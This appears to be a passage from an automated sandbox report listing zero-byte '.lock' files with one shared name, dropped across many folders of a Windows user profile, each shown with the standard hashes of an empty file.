c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\jscache\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\crlcache\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\security\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\dc\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\acrobat\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\assetcache\nahqnpmn\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\assetcache\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\nativecache\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\flash player\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\headlights\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\linguistics\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\logtransport2\logs\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\logtransport2\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\sonar\sonar1.0\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\sonar\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\adobe\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\identities\{ca8ca1bb-f2a6-4e9c-b7cc-fb56671763e8}\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\identities\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\#sharedobjects\dqqhjz8c\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\#sharedobjects\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\sys\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\flashplayer\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\support\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\macromedia.com\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\flash player\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\macromedia\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\access\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\addins\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\style\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\bibliography\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\credentials\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\s-1-5-21-1462094071-1423818996-289466292-1000\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\rsa\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\crypto\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\1033\16\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\1033\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\document building blocks\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\excel\xlstart\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\excel\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\implicitappshortcuts\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\quick launch\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\userdata\low\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\userdata\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\internet explorer\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\mmc\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\16\en-us\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\16\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\ms project\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\connections\pbk\_hiddenpbk\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\connections\pbk\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\connections\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\network\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\recent\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\office\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\onenote\16.0\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\onenote\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\outlook\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\powerpoint\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\proof\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\s-1-5-21-1462094071-1423818996-289466292-1000\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\protect\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\publisher\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\publisher building blocks\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\speech\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\certificates\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\crls\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\ctls\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\my\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\systemcertificates\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\1033\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\document themes\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\1033\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\smartart graphics\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\managed\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\1033\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\document themes\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\1033\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\smartart graphics\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\user\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\16\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\livecontent\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\templates\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\uproof\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
...
c:\users\ciihmnxmn6ps\appdata\roaming\microsoft\vault\d2ca4a08d2ca4dee3d.lock 0.00 KB MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
